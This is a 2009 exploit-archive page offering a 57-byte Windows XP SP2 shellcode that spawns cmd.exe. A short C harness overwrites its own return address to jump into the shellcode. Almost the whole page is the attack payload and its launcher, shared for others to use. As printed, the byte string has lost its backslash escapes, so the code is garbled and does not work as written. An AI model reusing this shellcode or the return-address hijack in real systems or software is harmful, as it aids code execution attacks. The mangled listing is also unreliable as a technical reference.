win32/xp sp2 Shellcode cmd.exe 57 bytes

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : win32/xp sp2 Shellcode cmd.exe 57 bytes
# Published : 2009-02-03
# Author : Stack
# Previous Title : linux/x86 killall5 shellcode 34 bytes
# Next Title : linux/x86 PUSH reboot() - 30 bytes

/*
win32/xp sp2 cmd.exe 57 bytes
Author : Mountassif Moad
Big Thnx : Houssamix :d
Assembly Code : Secret
Changed by : Stack
Description : It is 57 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2
*/
#include <stdlib.h>
#include <string.h>
unsigned char shellcode[] =
"xB8xFFxEFxFFxFFxF7xD0x2BxE0x55x8BxEC"
"x33xFFx57x83xECx04xC6x45xF8x63xC6x45"
"xF9x6DxC6x45xFAx64xC6x45xFBx2ExC6x45"
"xFCx65xC6x45xFDx78xC6x45xFEx65x8Dx45"
"xF8x50xBBxC7x93xBFx77xFFxD3";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}

// www.Syue.com [2009-02-03]